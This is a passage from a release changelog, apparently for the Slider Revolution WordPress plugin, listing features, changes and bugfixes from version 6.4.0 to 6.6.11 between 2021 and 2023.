            • Basic transforms causes layers to display behind another layer. iOS issue - Introducing iOS fix: perspective
            • zIndex on hover is not working
            • Material icons are loaded from google even if it is disabled in the global settings
            • Action Needed filter in AddOn overview is not updated after updating an AddOn.
            • Slider are loaded on post/page save, which causes in some case longer loading times

            Version 6.6.11 (23rd February 2023)

            Bugfixes
            • WPML constant ICL_PLUGIN_URL not defined in rare cases
            • Overlay effect gets more intense during transitions from Advanced Transitions addon.
            • Image layer set as cover fails to cover entire canvas area if an image has portrait dimensions
            • Vimeo video controls aren't rendering on layer
            • Food Carousel has a gap on specific dimensions
            • Deep link for modal not working using CustomEvent and event parameter detail:{slide:3}}
            • Filters in frames do not reset if filter is set to default values after having different values in other keyframes

            Version 6.6.10 (25th January 2023)

            Bugfixes
            • Carousel is broken due to regression in 6.6.9

            Version 6.6.9 (25th January 2023)

            Bugfixes
            • background=1 and background=0 Vimeo attributes get written twice if customers added these values manually
            • updating from v5 can cause an hover PHP error in PHP 8.x
            • Elementor deprecation messages appear
            • Gradient background effect does not work on small devices
            • Scroll based animations sometimes loose layer visibility on browser tab blur/focus
            • Carousel wheel navigation doesn't work if snap is set to off

            Version 6.6.8 (21st December 2022)

            New Features
            • Added Copy to Clipboard (Alt + Shift + C) and Paste from Clipboard (Alt + Shift + V) to be able to copy layers, groups, rows between modules in different tabs
            • Added a new HTML tag "label" and its attribute "label for"
            • Video pause on slide change: Layer videos now have a new option for carousel slider to pause video layers on inactive slides even when they are visible
            • New parallax feature for carousel, now parallax layers will move based on carousel movement. The use is triggered by the "Drag & Mouse Move" option under mouse interaction in the parallax settings.
            Changes
            • Shape background image management is now also available in the layer content for a better understanding
            • Double click on shape with an background image will open the last used image library for that shape
            • Layer targets (in actions and label for dropdown) will show the correct layer hierarchy with spacings and search boxes
            Bugfixes
            • HTML5 video looping in background causes fullscreen mode to exit.
            • SFX block mask does not work correctly on safari if translate Z is used
            • Groups in columns did not respect the order of layers
            • Carousel slides popup into the place if carousel has 3 slides.
            • Regression in update 6.6.7 causes BG videos to not play sometimes in carousel
            • Groups in columns did not respect the order of layers
            • Groups in columns set to absolute will not align well
            • Modal closes after any video in background completes a loop due to conflict.
            • Carousel visibility option for layers "Always visible on Carousel" disappears.
            • Block Scroll option does not work as expected on mobile.
            • Vimeo video speed option doesn't work on background video.
            • Attempting to change image via double click on shape layer results in error
            • Horizontal swipe gets triggered on iOS while swiping vertically

            Version 6.6.7 (17th November 2022)

            New Features
            • New event: "Any Modal Opens" added to custom JS portfolio
            • New method: "revGoToFrame" added to custom JS portfolio
            Changes
            • Added a lot more logic to the Google Fonts caching system
            Bugfixes
            • Deep linking isn't working on carousel slider
            • Some slides in the carousel are flashing into the position instead of animating in from the side
            • Global static layer settings for in and out animation are buggy in carousel
            • Particles AddOn effect doesn't render on the first slide in carousel
            • Sometimes layers disappear in a carousel when the 'Visible Layers' option is set to 'Always on all slide'
            • WooCommerce {{wc_stock}} meta does not show the total stock of all child products
            • Auto slide rotation sometimes ends with js failure if browser is not focused
            • Backend: Copying row layer with layers in it and pasting it it in Global Layers fails with console errors
            • Precaching Google Fonts locally fail to load fonts on some environment

            Version 6.6.5 (25th October 2022)

            Changes
            • Added Full Inset as covermode. This will help to set spaces through 4 device levels in any direction within a group when a layer is absolute positioned
            Bugfixes
            • Videos autoplay on mobile even though autoplay is set to 'Skip 1st Time Slide'
            • In carousel modules, static layers don't animate in and out on the correct slides
            • RTL layers in column do not align to the left/right since version 6.6.0

            Version 6.6.4 (19th October 2022)

            Changes
            • The Cluster: This update comes with support for a new AddOn that will add amazing cluster particles effects to layers
            • CrossOrigin Video: Added new button for HTML5 background videos to support videos from third party sites. If you are getting CORS errors in console while using third party video as background, enable the new option
            • Modified error messages if a slider does not have a slide to show
            Bugfixes
            • Looped and masked layers in the Before After AddOn environment breaks after 6.6.0

            Version 6.6.3 (11th October 2022)

            Changes
            • Dropped IE11 support as WordPress has stoppped supporting it since august 2021 and it holds back development
            Bugfixes
            • RTL environment calculate bad positions for layers since version 6.6.0
            • Fixed errors on IE11 due to update 6.6.0
            • CSTRETCH is not a function error in backend overview page

            Version 6.6.2 (7th October 2022)

            Bugfixes
            • Video Layers with border radius show a white border since version 6.6.0
            • Text Layers with % based size or auto width calculated and positioned wrong in frontend

            Version 6.6.1 (6th October 2022)

            Bugfixes
            • 6.6.0 Regression: Old cached version of rbtools was loading with new update

            Version 6.6.0 (6th October 2022)

            New Features
            • Groups can be dragged into other groups on root or into columns
            • Introducing position (relative / absolute), display mode, float, linebreak for layers in groups and columns
            • Added option for groups line-height
            • Added option for vertical- and text align of relative layers in groups
            • Simplified output structures based on requests and enabled options, features
            • Added protection against looped folder structures in overview
            • Single layers can now be imported from rows, groups and columns
            • Carousel engine
              • New physics engine: for smooth dragging and instant dragging
              • Vertical orientation: Now carousel supports vertical drag
              • Overshoot effect: Added option for overshoot effect, carousel will ease back into position with a cool bounce effect.
              • 2D Spin: 2D spin option will allow you to drag slides in a circle based on user set angles
              • 3D Spin: Just like 2D spin, you can drag carousels in 3D, set spin angle to spin a carousel inward or outward
              • Skew: New skew option skews the entire slider based on the current speed of carousel, creating cool physics based effects
              • Improved performance: New engine is fast and smooth, it uses better engine for dragging improves performance with reduced calculations and updates
            Changes
            • Flickr photosets are now titled "Albums"
            Bugfixes
            • Dragging layers quick in the editor mixes up positions and orders of layers in columns, groups and rows
            • Dropping layers into groups and columns is not possible in some rare cases, or added in wrong order, place
            • Textlayers in groups will not wrap if relative positioned
            • Using ' in the WooCommerce settings can produce an JavaScript error in the Slider Revolution overview page
            • Hover state stuck on drag in editor
            • Carousels stretched mode still fade in/out coming, leaving slides
            • Stage aligned layers with % do not render on the correct position in frontend
            • Modules that have viewport stop "wait" don't seem to be lazy loaded
            • Video on scroll modules are not any more in sync
            • Timeline based scroll layers disappearing after a browser tab change
            • SQL notice occurs with the latest WordPress 6.1 beta
            • Scroll based blur in Safari cuts the edges of layers
            • Vimeo video limit of 20 raised to 60

            Version 6.5.31 (13th August 2022)

            Bugfixes
            • Notice occurring since 6.5.30 about bos not defined

            Version 6.5.30 (12th August 2022)

            Bugfixes
            • 3D parallax effect gets clipped in the latest Chrome version
            • Advanced Transition fails if the HTML5 video is from third party domain
            • Editing frame actions in backend fails with a console error
            • Carousel scaling is wrong in certain PHP environment settings
            • Using decimal values with postfix shows error even though the value is valid
            • Material Icons were loaded from Google if the global setting "Enable Google Fonts download" was set to "Cache Fonts Local"
            • Layer can receive hover effects even is border-style is set to none

            Version 6.5.25 (21st June 2022)

            Bugfixes
            • Slider cannot be edited after updating from very old versions
            • Sharp Corner extensions are not rendering correctly in WordPress 6.0
            • Video layer with "No Interaction" enabled, becomes clickable with link action
            • Scroll Below Slider and Scroll to ID actions don't work on video layer with "No Interaction" enabled
            • Video border radius disappears after in-animations on some rare situations
            • Box shadow does not render full opacity if #000000 color is used
            • Object library could not fetch thumbnails and full objects if cURL is not enabled
            • Clickable scroll based animated layers are not any more clickable after scrolling backwards when layers are overlapping each other
            • Rapidly clicking and very rare repeated slowly clicks on navigation buttons changes the direction of layeranimations
            • Slide animation from last slide to first slide produced a rewind effect if the direction based animation has been selected. This is changed now to forward direction
            • HTML slider exports inclusion of jQuery.js is with http:// instead of https://
            • Dragging bottom (and/or) right aligned layers in the editor gives a sticky effect during the drag process

            Version 6.5.24 (26th May 2022)

            Bugfixes
            • Missing width/height values in images can produce notices
            • Slow loading times on mobile, if elementor is activated due to lazy loading
            • WooCommerce slider may appear empty even though categories are selected

            Version 6.5.23 (24th May 2022)

            Bugfixes
            • WooCommerce slider does not consider child posts/variants in filtering for price ranges
            • Layers become invisible if duration of layer is 0

            Version 6.5.22 (18th May 2022)

            Changes
            • Carousel Stop on Click: Added new option, by default carousel progress stops if user clicks on slider, this option lets you choose to continue auto rotate progress after user clicks on slider.
            Bugfixes
            • Importing a slider may create an additional empty slide
            • Opening modal with openModalAPI method fails with console error
            • Parallax jumps on iOS if URL field gets removed
            • Action triggered static layers ignore triggered frame call on last slide after slide swap
            • Before & After AddOn copy to clipboard after image is not working. Latest 3.0.6 version of Before & After AddOn required to fix issue
            • Glitch & noise effect does not fade out after fading once on 1st slide

            Version 6.5.21 (2nd May 2022)

            Changes
            • Autoplay enabled videos will play with audio if user has interacted with page
            • Loop enabled background videos will auto pause/play if page visibility state changes due to switching tabs etc
            • Added option under Advanced options to fix glitches on iOS Filters. It will add a tiny 0.0001 value to x, z, rotationX or to default (based on Layer type) to avoid cuts and other distortions on layers when slider is running on iOS
            Bugfixes
            • Activation through wp-cli returns a fatal error
            • Moving frames on timeline before playing the slide onces breaks with javascript error on static slide
            • Exit animation of Static layers works only on slide change, animation before Slide end is ignored

            Version 6.5.20 (12th April 2022)

            Changes
            • Added new action to ask for permission to use gyroscope accelerator on iPhone devices if needed. Read more in FAQ
            • Added page scroll possibility for modals to use modals as adverts
            • Lottie Addon: Canvas renderer for lottie now has new maxdpr option to help with performance optimization
            Bugfixes
            • Elementor deprecation message _register_controls() shows up using the newest Elementor version
            • If video was muted initially then video auto-mutes after pausing and playing
            • Blurred elements in Safari under masks shows broken edges, rendering issues
            • CSS fixes (i.e. speak-as and willow filter)
            • WP_PLUGIN_URL creates JavaScript error if it has a newline added (\n\r)
            • Meta data current_slide_index displays incorrect slide number on first slide
            • Vimeo stream keeps pausing and playing
            • YouTube video is blurry if used with poster
            • Vimeo videos are limited to 20 videos

            Version 6.5.19 (14th March 2022)

            Bugfixes
            • Opening specific modal slide with Panzoom effect fails
            • On mobile, layer with long text has padding on right until slider loads completely

            Version 6.5.18 (8th March 2022)

            Bugfixes
            • Slider editor has issues if the WooCommerce Advanced Quantity plugin is enabled
            • Hosts that do not allow connection to external servers creating longer loading times
            • Unwanted categories are shown in meta tags added to layers
            • Deleting global layers fails with console errors
            • Static layers with percentage based width or height do generate unneeded padding on mobile views
            • Google page speed warns against using unload event listener
            • 6.5.17 regression: Slider with Advanced Transitions flashes after transition.

            Version 6.5.17 (23rd February 2022)

            Changes
            • Added internal hook for manipulating layer positions and dimensions due to external addons
            Bugfixes
            • Changing slider dimensions is not possible if external url is empty
            • iOS Safari 15 crashes if slider has too many slides
            • YouTube video mutes again after seeking/scrubbing video
            • Charts Addon: Chart renders smaller on Safari because of browser specific bug
            • Charts Addon: Chart values are offset from position due browser specific bug
            • Panorama Addon: Poles have artifacts if image loads slow on slow

            Version 6.5.16 (17th February 2022)

            Changes
            • Changed notice containers in the WordPress plugin page for a better user experience
            Bugfixes
            • Editor does not render advanced opacity on layers
            • Force overflow causes layers to be hidden on mobile and to be visible on Android Chrome
            • Third party object extensions may kill the initialisation process of Slider Revolution in preview mode
            • Mobile height change is not respected when URL bar height changes on mobile devices

            Version 6.5.15 (31st January 2022)

            Bugfixes
            • Opening a WordPress media modal fails because the editor script overwrites the _ variable
            • Notice occurs in post based sliders, as $attr1 is undefined
            • Advanced transitions fail on websites using subdomain as CDN
            • Gutenberg block preview not available
            • Gutenberg editor glitches on mouse enter and hover
            • Gutenberg template not updating after disabling blank page
            • Slider Revolution settings on WordPress pages are stuck on the top
            • Bottom margin issues on fixed slider scroll processes where the Slider is higher than the page
            • Exporting modules with advanced transitions ignore the predefined values
            • Sometimes glitches occur in the media library after triggering dropdowns in module editor
            • Carousel height jumps when a slide comes in focus after latest update 6.5.14 and 6.5.13
            • Console logs and errors are visible in some rare cases
            • Animation issues on menu in some older templates

            Version 6.5.14 (6th January 2022)

            Bugfixes
            • JS error in some rare cases due to a conflict between underscore.js and some editor scripts by overwriting the global _ variable
            • Rows in the carousel slider are shifted once all layers are shown once in all slides

            Version 6.5.13 (6th January 2022)

            Bugfixes
            • Middle row zones in carousel are not in the right position if the carousel is dragged and not triggered by navigation buttons
            • Instagram display date meta shows system date instead of instagram post date
            • SVG Layer can not be resized due the Size options after saving and reloading the editor
            • Advanced Rotation, opacity and filter which are assigned to the Mask container is not showing in editor only live and in preview
            • Hover zoom breaks out of mask after dragging carousel
            • STRONG tag lineheight is different (25 default) as the lineheight of the layer itself
            • JS warnings in Safari when backdrop filters are used
            • Not existing modal pop up on scroll drop JS failures

            Version 6.5.12 (21st December 2021)

            New Features
            • Added new submenus: Getting Started, Help Center, Templates, Premium Support and Go Premium
            Changes
            • Menu burger buttons and scroll down buttons won't use out of box the intelligent size inheriting to avoid strange spacing on smaller devices
            • Updated GSAP to version 3.9.0
            • Simplified duplicating and copy pasting layers with actions triggering the duplicated layers with steps like:
              • Deleting a layer will remove the action references pointing on it from other layers
              • Undoing "delete layer" will recreate the deleted action references as well
              • Duplicating a layer will check for all pointing action references and will also duplicate those by adjusting the target id as well
            Bugfixes
            • Changing audio preload options does not have any influence on loading performance and results on frontend
            • Selecting post based slider by popularity, related and recent does not allow categories to be selected
            • Backend is slow in Chrome if more than 200 elements are added in rows and columns. Issue happens only in WebKit browsers based on transform perspective and filters
            • Glitch effect of advanced transitions throws console error
            • Duplicating layers undo/redo group is filled with multiple steps, single redo/undo is not working
            • Menu link & scroll action's scroll offset value is ignored
            • Change between navigation and general settings in the editor does not refresh the layer rendering, generating artifacts until next refresh
            • Multiple rows and columns generating artifacts on Chrome version 96.0.4664.110+
            • Centered rows may show layers and elements in columns blurry if the content is drawn on half pixels. Core will now internally calculate the vertical position of rows and columns

            Version 6.5.11 (19th November 2021)

            Bugfixes
            • JavaScript error breaks the global settings in the overview mode and throws a console error getConcVals

            Version 6.5.10 (17th November 2021)

            Changes
            • Fullwidth layout in combination with timeline based scroll will allow optional to pull content now
            • Slider Revolution meta box now shows on all custom post types
            Bugfixes
            • Fast scrolling on some third party themes creates behavioral issue for scroll based sliders
            • Entering in fullscreen mode does not re-stretch the images in carousel mode
            • Vimeo video's "Tap to unmute" button does not work on Android
            • Image position shifted if Vertical middle aligned images added on Mobile sizes
            • Video layers with No Interaction also ignore a tag links added to the layer
            • Columns without content but with image background do not recognise Layer actions like mouseenter, click, mouseleave
            • Few random presets for BG animation were not working
            • Scroll to ID doesn't work correctly if viewport loading is on
            • Slider navigation does not work in fixed on top slider

            Version 6.5.9 (11th October 2021)

            Changes
            • Added Trust Pilot review link to overview page
            • Added deregistration warning information
            • Not installed AddOns will warn now in overview, and allow a one click installation of all required elements
            • Added premium templates badge on original templates from library. Templates can be used only in registered and licensed environments
            Bugfixes
            • Color update for SVG layers is inconsistent on carousel if lazy loading is set to single or smart
            • SVG options are squeezed in editor
            • Slide animation "in" resets opacity to 0 when 1 is set and the editor reloads
            • Downsized carousel items get squeezed images on fullwidth layout
            • Firefox shows console warnings for -webkit-backdrop-filter
            • Using the carousel justify option generates console errors in rare cases and prevents the carousel from rendering BG
            • WPML translation priorities terms were not ignored
            • Dropdowns in-place search is not filtering by Option content, only by option value
            • Firefox mouseleave event is not triggering when slide change has been called due further actions
            • In very rare cases, slider height grows if column contains layer with 100% height
            • Slide based direction is not working if animation distances set by pixel
            • Changed locale for decimals in PHP results in a JavaScript error
            • HTML export is missing CSS and JS files from AddOns
            • Reverse scroll option makes slider jump to last slide
            • Volume level for audio layer does not work correctly on Safari

            Version 6.5.8 (7th September 2021)

            Changes
            • Added cursor mode "none" to the option list to be able to hide the cursor on "a" tags when mouse track is activated
            • Introducing tag option for slide links (available options: "a" & "rs-layer") to avoid FireFox popup blocking on _blank targets
            • Introducing a global option: "Lazy Load on BG Images". This will allow to load BG images also with lazy load, defined due the lazy load global and module based options
            • Editing the size of layers in a column will replace % sizes into px on edit. Added a further protection which will only change the height values if the height is set over 98% within the column of any layer
            Bugfixes
            • Carousel slider is flickering in Safari
            • Safari clippath animations are not visible during the animation
            • Some third party form options fail to work correctly. (This may have affected other third party integration as well)
            • Missing Elementor property on load causes the Cookiebot plugin to fail
            • Solid color background with opacity gets darker on refocus
            • First slide using the Advanced Transition's blur effect flashes black background
            • Advanced Transition with PanZoom BG jumps on slide change
            • Using fullscreen toggle on slider with parallax effect does not reset BG correctly
            • Blend Mode "color" is not working well in Safari. (Fallback to color-burn works)
            • Slider Revolution can not be added to Wordpress Widgets area. JS Failures
            • Revolution Slider in Essential Grid's lightbox opens only on the first time
            • Carousel background is squashed if the carousel's 'Keep Aspect Ratio(Justify)' option is turned off
            • Slider added using the Gutenberg block is pushed to the right side if the slider uses "Fixed during scroll" option
            • Gap (border) option does not work correctly on fullwidth and fullscreen slider

            Version 6.5.7 (20th August 2021)

            Changes
            • Added global option to load YT Api in header which can be useful if Google Analytics enabled on page
            Bugfixes
            • Carousel slider doesn't render after reopening modal
            • Modal does not open after update 6.5.6
            • Slider background does not render for a customer after upgrading from 6.3.9 to 6.5.6
            • Shape, Button and Text layers breaks Module processes if they use % based height in columns
            • Triggered groups shows content after resize even they should stay invisible
            • 'Scroll Below Slider' action lags if page has scroll-behavior set to smooth
            • All Default Slide transitions shows animation within 1000ms on frontend, even backend has a different value set
            • Modal shows horizontal scrollbar on windows

            Version 6.5.6 (06th August 2021)

            Changes
            • Timeline default length update will also update all layer timings with "Wait for End" in each slides of that module
            • Added search, filter and sorting functions to the Addon overview area for better overview
            Bugfixes
            • Elementor popup not loading with slider. Even with added protections, it is not stable, therefore we recommend to use Slider Revolution's own popup functionality
            • Video and PanZoom aspect ratio may not be correct during the slide transition
            • Vimeo video in carousel not covering vertically and the first play of Vimeo background videos are not showing in carousel
            • RS conflicts with elementor lottie
            • Fonts don't render correctly due to quotes around font family
            • A deprecation notice block_categories occurs from WordPress 5.8.0 onwards
            • Justify carousel hides max amount of shown slides option and makes layout dimension changes hard to understand
            • Navigation font family preset is not selected after reload
            • Navigation Skin editor meta values not shown, meta type shows always custom
            • Background image gets drawn twice while using BG Fit Percentage
            • Shortcodes from RevSlider v5 with - in it are not found
            • Mouse scroll not working on fullscreen slider if viewport value is set to 100%
            • Alternate slide animation is ignoring main animation once loop done

            Version 6.5.5 (21st July 2021)

            Changes
            • Table structure changed from unique to primary key
            • Changed wording of clip path 'Inverts' option to 'Custom Mask' and replaced icons for better understanding
            • Added protection in case any page builder or third party plugin double output scripts in page
            • Added protection against if slider should wait on elementor scripts, but they wont be loaded
            Bugfixes
            • Page jumps while loading on some themes if slider loads after content
            • Regression 6.5.4 affected hamburger style and renders incorrectly
            • If 'Min Height' option is set, it affects styling of carousel slider
            • {{catlist}} and {{catlist_raw}} is empty on custom post types
            • Vimeo video background is always blurry, it used to be sharp in the pre Canvas version
            • Ken burns effect jitters in FireFox
            • Ken burns image shows after transitioning to second slide
            • JavaScript errors prevent slide from changing while using with Elementor tabs
            • ClipPath animation with "Invert Types" and default 100% values render differently on frontend and backend until values changed manually once
            • Slider max-width is written without px if it is not specially set
            • Scripts and styles are loaded on backend pages where they are not needed
            • Static layers do not overflow even after setting overflow visible in global layers slide options
            • Google font is not loading in backend and frontend if font name has spaces
            • Carousel rotation causes slides to cover current slide
            • WooCommerce on demand slider module inserting does not start module automatically
            • Modal slides in actions do not refresh the drop down view, even the correct slide is selected
            • Content height jumps if rs6.css loaded in footer delayed
            • Slider sizes in backend layout tab not updated until refreshing single values

            Version 6.5.4 (2nd July 2021)

            Bugfixes
            • The internal revicons.woff is loaded when it is not needed
            • PanZoom jumps on mobile/high DPR displays
            • PanZoom animation is not smooth, jittering on iOS
            • Content jumps vertically on page load due to missing styles at the first rendering in some cases
            • Motion blur renders partially while used with videos on Chrome, likely due to a browser specific bug

            Version 6.5.3 (25th June 2021)

            New Features
            • Added performance option to slider transitions, which will allow to prioritise perfomance vs image quality during the slide transition
            • Added new option "Set Filters on Mask" to layer animation. This option allows to set the filters on the layer wrapper mask instead of the layer itself.
              • to avoid strange cuts on overflow hidden elements
              • as workaround for the Safari bug where blur and x,y rotations resizes the layers
            • Extended openModalAPI to be able to load modules in page by ajax on demand by id, index or slide key
            Bugfixes
            • Adding the same slider more than once to the post/page results in the JS revapi variable beeing defined multiple times
            • Tags are written in image titles on certain conditions
            • Splitted and blurred text animation on Safari looks different, letters pop up without animation
            • Required AddOn update message shows wrong update versions in certain cases
            • Hidden slides are printed into the HTML
            • Some external images are not visible in backend and load stretched on frontend (CORS error visible in console)
            • iFrame in layers fail to load in some special cases
            • Layer actions with target layers fail to open due to error
            • HTML export does not write some newly added JavaScript
            • JS error if slider uses "Observe Wrapper" option
            • Elementor, Divi, Wp Backery or other third party plugin conflicts if the library loading is set to defered, async in footer
            • Clicking on buttons sometimes fails in Firefox if 3D parallax is used
            • "Lazy Load All" does not load all images one by one in case the ViewPort option is enabled globally

            Version 6.5.2 (17th June 2021)

            Bugfixes
            • Error causes release version to fail in backend and it prevents some backend features from working

            Version 6.5.1 (17th June 2021)

            Bugfixes
            • Updating to latest AddOn versions may load old JavaScript files
            • Slider fails to load because third party scripts polluted default Array and Object objects
            • Slider Revolution and Elementor conflicts if Elementor section is also fullwidth
            • Opening page in new tab on iPhone gives slider wrong dimensions because Safari reports height incorrectly
            • Strange Artifacts on Slider backgrounds and transitions. Comes due to an early load of the Slider Revolution environment, where i.e. WP Rocket (and other tools) may re-add already processed images to the DOM

            Version 6.5.0 (15th June 2021)

            New Features
            • Added vimeo thumbnail loader for background videos
            • Added new global initialisation process optimization
            • All JS files (except rbtools.min.js) will load asynchronous defered in footer to fill the new Google Lighthouse requests for better ranking
            • New global option to enable viewport an viewport distance on all existing modules with one click
            • New global option to overwrite "no lazy loading" with any other setting, to enable lazy loading internally in each slider modules
            • New modal API added to load any slider as modal via API i.e. jQuery.fn.revolution.openModalAPI(modal,modalslide,url) where the URL is the URL of ajax action, modal is the modal slider id and modal slide the modal slide id
            • Solved high memory usage on iOS browsers where 3x sized retina images may brake the maximum 384MB limitations
            • During slide animations, all content will reduce resolution to speed up the processing in complex rendering, however after that it changes back to the best available resolutions
            • Added two new metas to dynamic add current slide index and count of slides into layer content. {{current_slide_index}} and {{total_slide_count}}
            Bugfixes
            • Iris colorpicker click listener reloads page due to WordPress bug. Colorpicker will ignore that click event from RS side
            • Lock and visibility icons are not available on the layer list after adding, removing, duplicating layers
            • Disabling hover options on layers still shows animation on mouse enter and leave
            • Custom navigation presets can not be added or do not save
            • Weather AddOn location can not be extended
            • Page content jumps on initial load if JS files are added to the footer
            • Elliptical gradients are not drawing well
            • YouTube posters is not displaying after reloading editor
            • Navigation thumbs speed option is not working
            • Wrong start/end y position if from/to top or from/to bottom layer animation selected on rows
            • Some old slider layers had the subtype set accidentally which prevented them from being imported.
            • In very rare cases a normal slide converted into a global slide, making 2 global slides available in the module
            • Videos not playing in static slides if the slider layout is set to carousel
            • Parsing CSS can create a PHP notice
            • Safari mask animations do not show animation on second loop
            • PolyFold AddOn stops rendering the editor view until the browser gets resized
            • Added protection against Avada's transform z on main container which would break the scroll functionality of the slider
            • Global layers can not be controlled by layer actions
            • Canvas with too big area breaks on iOS
            • Selecting 'auto DPR 4' would select 'DPR 4'
            • Closing modals were failing due to a wrong id if the page had multiple modals
            • Video jumps/shows the cover a short time after the animation ends
            • Having none Isometric Slides before Isometric slider will brake in animation of Layers
            • Disable PanZoom on mobile has no effect
            • In the backend, layers are sometimes not in position until offsetted layers gets selected
            • Parallax content jumps on previous/next slide if page has been scrolled before slide change
            • Multiple carousel navigation's on same page conflicts with each other
            • Bullet navigation does not get recalculated on resize
            • Modal on default templates doesn't cover full width
            • Fullscreen modal doesn't show fullscreen if slider has "Decrease module height" option set

            Version 6.4.11 (30th April 2021)

            Bugfixes
            • AddOn installation not available due to version comparing failure (hotfix)

            Version 6.4.10 (29th April 2021)

            New Features
            • Three.js and WebGL support management between Slider Revolution AddOns
            Bugfixes
            • Installing slider templates with higher version requirements allows to download templates even if current installed version is not able to handle the data
            • Mobile issues with blurred and 3d animated elements (i.e. Black Friday Template)
            • Static HTML5 video layers can not be imported in editor due to invalid id failure
            • Fullscreen button on HTML5 video is not responding or closing full screen after opening
            • Spinner is showing up under 100ms, even if next carousel element reached
            • Exporting sliders with SVG has a problem when the server was changed from http:// to https://
            • Importing sliders with SVG in the global slide does not properly import them
            • Video background on IE with landscape video not fitting entire canvas
            • Canvas animation brakes in some cases iOS memory limits, and use too many resources on retina displays
            • Max width of container would stretch image content, and still keep some cached values on original height
            • Play button appears on slide background video
            • WPMU DEV websites issues with the usage of WordPress based caching results in Slider not beeing able to be saved properly

            Version 6.4.8 (16th April 2021)

            New Features
            • SVG Layer: Added new option 'Style All Elements', enabling it will style all SVG elements in layer, like ellipse, polygon etc.
            • Added popup on "url hash" to shortcode builder options
            • Added "1 Time per session Pop Up" option with session length (default 24 hours) in the shortcode builder options. (Disable and reload frontend to clear cookie)
            Changes
            • Videos will not be prepared at the start on invisible slides, which will avoid unwanted loading side effects
            • Backend optimiziation, further editor loading time and runtime optimizations
              • Replaced Select2 function with ThemePunch functions which brings a great performance boost on the backend
              • Optimized the opening processes in the slider editor. Less loops on multiple draws until all elements are created
              • Replaced tons of innerHTML content building due documentFrames creation
              • Replaced slow input element initialisation processes
              • Added further RAF processes in drawing and initialisation processes to optimize editor runtime processes
              • Changed behaviour by dropping/dragging layers when a group is overlaying rows and columns with an overdimensioned shape inside
            Bugfixes
            • Multiselect dropdowns do not show the selected values
            • Scrolling, resizing screen during select dropdown is open, puts the dropdown offseted to original select position
            • Resizing Layers in editor with aspect ratio set to "auto" or "none" calculates the wrong height of element or giving NaNpx as result
            • Particles Addon 2.3.5: Custom 1 Colored SVG files from Original library can not be colored by particle styles
            • Swapping between External source, image source and solid color/transparent do not update the current slide background image in editor
            • Higher Modal window may add horizontal scrollbar on Window resize
            • Draging Text layer wrap the text if layer hit the right side of parent container, after releaseing all good
            • Slide based aligned layers in backend positioend wrong if layers added to group

            Version 6.4.7 (23rd March 2021)

            New Features
            • Global option internal caching added. This will cache slider HTML to improve loading times
            Bugfixes
            • Issue with high resolution displays and multiple slicey elements. Elements are scaled or getting very slow. Fix is available in Slicey AddOn 2.1.1
            • {{featured_image_url_original_size}} not working properly.

            Version 6.4.6 (20th March 2021)

            Changes
            • DPR got now also auto max values and default is auto DPR
            • Removed unneeded functions and files on WP pages and posts
            • Reduced and cleaned up some of the PHP sources
            • Added indexes to Slider Revolution tables
            • Partly optimized db queries (More will come in next udpates)
            Bugfixes
            • YouTube video on mobile does not start automatically
            • YouTube video on event pauses, plays and pauses again
            • Gutenberg styling issues after latest WP version update
            • Layer images and background images do not load sometimes (mostly over CDN, or with lazy loading 3rd party plugins)

            Version 6.4.5 (19th March 2021)

            Bugfixes
            • One time error occuring in the update process introduced in 6.4.4
            • There was an empty line in the plugin overview at Slider Revolution
            • All text was getting selected at once, now user can select layer text manually
            • On resize Vimeo and YouTube iframes were getting affected by 'Twenty Twenty One' theme and causing them to get wrong sizes
            • Sometimes resizing would create horizontal scrollbar or leave blank space on right side
            • Image loading times out on slow network before load, now slider will wait longer for images to load
            • Custom SVG elements would not create a new category on upload, and setting favorite on them would first be visible after reload
            • Pan zoom may show half sized images after the latest DPR function

            Version 6.4.4 (17th March 2021)

            Changes
            • Slides with random speed will fall back to 1000ms, random speed won't be allowed any more
            • Distortion AddOn stretch images. Option added to set optional scaling
            Bugfixes
            • If scrollbar gets removed due to page height change then sometimes the slider doesn't resize
            • Fixed WPBakery page builder block styling
            • HTML5 video layer cover sizing
            • Video fit cover option was causing issues to Vimeo/YouTube backgrounds
            • Bg cover and x% offset calculates the horizontal offset wrong wise on the vertical axis
            • Fixed Vimeo thumbnail not loading in editor.
            • All cookies were decoded by RS, now only cookies set by RS are decoded.
            • Video play/pause button was not showing on mobile.
            • TypeWriter layer postions are not correct in fullscreen sliders. Revolution Slider version 6.4.4 and TypeWriter AddOn version 2.1.1 required
            • Deep linking does not always link to the right page

            Version 6.4.3 (9th March 2021)

            Changes
            • HTML5 video and background layer have a new option 'Video Fit Cover', by default this option is enabled to fit videos as cover. Disable it in case of video size jumps on slide change.
            • Force cover option on bg videos has been removed, the overlay option is now always available on bg videos
            Bugfixes
            • Layer videos without poster image and paused not showing until revisiting the slide
            • Filter willow breaks in Safari the background visibility. Safari will show a simple black and white filter instead
            • HTML5 video does not playing when the preload options are set to 'disabled'
            • Navigation thumb shows more thumbs on mobile due to a width calculation bug
            • Slider not resizing on touch screen desktop screens
            • Background video was getting pushed out of view if filter is set on slide
            • Long videos sometimes buffer. Logic for how videos start playing has been changed to address this but it still depends on browser's prediction and can't be always gauranteed
            • Overlay pattern was not working on video layer
            • Backend canvas was not clearing completely if browser was zoomed in
            • Justified carousel ignores aspect ratio at the first load if external images are used
            • Max amount of thumbnails is not working if the thumbnail space is set with the px suffix

            Version 6.4.2 (26th February 2021)

            Changes
            • Slides are now numbered in the actions choices for better usability
            Bugfixes
            • Video with unusual aspect ratios zoom in after slide animation. object-fit:cover is now removed from html5 videos
            • Material icon size conflict with WPBakery plugin resolved
            • Retina display shows blurry background images after Slide background animation
            • Random slide background animations break the editor and does not show transitions on frontend
            • Background rendering on auto size, % size, background aligns and background repeats like repeat-x and repeat-y do not render well since version 6.4.0

            Version 6.4.1 (24th February 2021)

            Bugfixes
            • Having slots could create an error in 6.4.0
            • Firefox character animation with blur has artifacts

            Version 6.4.0 (24th February 2021)

            New Features
            • Added gradient animation style (fading and sliding) to allow different hover animation effects on gradient layer backgrounds
            • Added canvas based slide animations
              • New sorting of animation types
              • Very smooth and effective rendering of animations
              • Extended the library with tons of new effects
              • Added options like timing, flow, index, row & columns, filters, rotation, scale, motion filters
              • In and out animation can be differently handled now
              • Video, PanZoom, local and external images can be now animated without limitations
            • Apple mouse and touch pads can now also scroll the carousel templates horizontal
            Changes
            • Parallax has been optimized to avoid calculations on inactive slides
            • Changed several internal PHP scripts to improve speed and memory usage
            • Updated the Google Fonts list
            • Slicey AddOn support to RS 6.4.0 added. Required version 2.1.0
            • Before After AddOn support to RS 6.4.0 added. Required version 2.1.0
